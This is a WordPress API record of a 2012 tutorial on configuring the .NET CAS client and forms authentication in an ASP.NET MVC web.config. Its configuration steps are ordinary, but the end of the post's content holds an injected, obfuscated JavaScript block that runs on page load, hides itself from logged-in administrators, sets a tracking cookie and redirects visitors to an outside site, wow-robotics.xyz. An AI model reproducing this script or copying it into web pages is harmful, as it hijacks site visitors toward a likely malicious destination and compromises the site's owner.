{"id":439,"date":"2012-04-27T09:41:48","date_gmt":"2012-04-27T01:41:48","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=439"},"modified":"2012-04-27T09:49:42","modified_gmt":"2012-04-27T01:49:42","slug":"net-mvc-with-jasig-cas","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/04\/27\/net-mvc-with-jasig-cas\/","title":{"rendered":".net MVC with JASIG-CAS"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>Using official .net Cas client and modify web.config<\/p>\n<ul>\n<li>Register casClientConfig Section\n<pre>&lt;configSections&gt;\r\n\u00a0 &lt;section name=\"casClientConfig\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 type=\"DotNetCasClient.Configuration.CasClientConfiguration, DotNetCasClient\"\/&gt;\r\n\u00a0 &lt;!-- Other custom sections here --&gt;\r\n&lt;\/configSections&gt;<\/pre>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li>Place a configuration element directly under the root element.\n<pre>\r\n&lt;casClientConfig\r\n\u00a0 casServerLoginUrl=\"https:\/\/server.example.com\/cas\/login\"\r\n\u00a0 casServerUrlPrefix=\"https:\/\/server.example.com\/cas\/\"\r\n\u00a0 serverName=\"https:\/\/client.example.com:8443\"\r\n\u00a0 notAuthorizedUrl=\"~\/NotAuthorized.aspx\"\r\n\u00a0 cookiesRequiredUrl=\"~\/CookiesRequired.aspx\"\r\n\u00a0 redirectAfterValidation=\"true\"\r\n\u00a0 renew=\"false\"\r\n\u00a0 singleSignOut=\"true\"\r\n\u00a0 ticketValidatorName=\"Cas20\"\r\n\u00a0 serviceTicketManager=\"CacheServiceTicketManager\" \/&gt;\r\n<\/pre>\n<\/li>\n<li>Register CasAuthenticationModule with the ASP.NET pipeline by adding it to theandsections as demonstrated in the following configuration blocks.\n<pre>\r\n&lt;system.web&gt;\r\n\u00a0 &lt;!-- Other system.web elements here --&gt;\r\n\u00a0 &lt;httpModules&gt;\r\n\u00a0\u00a0\u00a0 &lt;add name=\"DotNetCasClient\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 type=\"DotNetCasClient.CasAuthenticationModule,DotNetCasClient\"\/&gt;\r\n\u00a0\u00a0\u00a0 &lt;!-- Other modules here --&gt;\r\n\u00a0 &lt;\/httpModules&gt;\r\n&lt;\/system.web&gt;\r\n<\/pre>\n<pre>\r\n&lt;system.webServer&gt;\r\n\u00a0 &lt;!--\r\n\u00a0\u00a0 Disabled Integrated Mode configuration validation.\r\n\u00a0\u00a0 This will allow a single deployment to\u00a0 run on IIS 5\/6 and 7+\r\n\u00a0\u00a0 without errors\r\n\u00a0 --&gt;\r\n\u00a0 &lt;validation validateIntegratedModeConfiguration=\"false\"\/&gt;\r\n\u00a0 &lt;modules&gt;\r\n\u00a0 &lt;!--\r\n\u00a0\u00a0 Remove and Add the CasAuthenticationModule into the IIS7+\r\n\u00a0\u00a0 Integrated Pipeline.\u00a0 This has no effect on IIS5\/6.\r\n\u00a0 --&gt;\r\n\u00a0 &lt;remove name=\"DotNetCasClient\"\/&gt;\r\n\u00a0 &lt;add name=\"DotNetCasClient\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 type=\"DotNetCasClient.CasAuthenticationModule,DotNetCasClient\"\/&gt;\r\n\u00a0 &lt;!-- Other modules here --&gt;\r\n\u00a0 &lt;\/modules&gt;\r\n&lt;\/system.webServer&gt;\r\n<\/pre>\n<\/li>\n<li>Configure ASP.NET Forms Authentication\n<pre>\r\n&lt;system.web&gt;\r\n\u00a0 &lt;authentication mode=\"Forms\"&gt;\r\n\u00a0\u00a0\u00a0 &lt;forms\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 loginUrl=\"https:\/\/server.example.com\/cas\/login\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 timeout=\"30\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 defaultUrl=\"~\/Default.aspx\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 cookieless=\"UseCookies\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 slidingExpiration=\"true\"\r\n\u00a0\u00a0\u00a0\u00a0\u00a0 path=\"\/ApplicationName\/\" \/&gt;\r\n\u00a0 &lt;\/authentication&gt;\r\n\u00a0 &lt;!-- Other system.web elements here --&gt;\r\n&lt;\/system.web&gt;\r\n<\/pre>\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Using official .net Cas client and modify web.config Register casClientConfig Section &lt;configSections&gt; \u00a0 &lt;section name=&#8221;casClientConfig&#8221; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 type=&#8221;DotNetCasClient.Configuration.CasClientConfiguration, DotNetCasClient&#8221;\/&gt; \u00a0 &lt;!&#8211; Other custom sections here &#8211;&gt; &lt;\/configSections&gt; &nbsp; Place a configuration element directly under the root element. &lt;casClientConfig \u00a0 casServerLoginUrl=&#8221;https:\/\/server.example.com\/cas\/login&#8221; \u00a0 casServerUrlPrefix=&#8221;https:\/\/server.example.com\/cas\/&#8221; \u00a0 serverName=&#8221;https:\/\/client.example.com:8443&#8243; \u00a0 notAuthorizedUrl=&#8221;~\/NotAuthorized.aspx&#8221; \u00a0 cookiesRequiredUrl=&#8221;~\/CookiesRequired.aspx&#8221; \u00a0 redirectAfterValidation=&#8221;true&#8221; \u00a0 renew=&#8221;false&#8221; \u00a0 singleSignOut=&#8221;true&#8221; \u00a0 ticketValidatorName=&#8221;Cas20&#8243; \u00a0 serviceTicketManager=&#8221;CacheServiceTicketManager&#8221; \/&gt; Register CasAuthenticationModule with the ASP.NET pipeline by adding it to theandsections as demonstrated in the following configuration blocks. &lt;system.web&gt; \u00a0 &lt;!&#8211; Other system.web elements here &#8211;&gt; \u00a0 &lt;httpModules&gt; \u00a0\u00a0\u00a0 &lt;add name=&#8221;DotNetCasClient&#8221; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 type=&#8221;DotNetCasClient.CasAuthenticationModule,DotNetCasClient&#8221;\/&gt; \u00a0\u00a0\u00a0 &lt;!&#8211; Other modules here &#8211;&gt; \u00a0 &lt;\/httpModules&gt; <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[21],"tags":[136,59],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/439"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=439"}],"version-history":[{"count":4,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions"}],"predecessor-version":[{"id":441,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions\/441"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}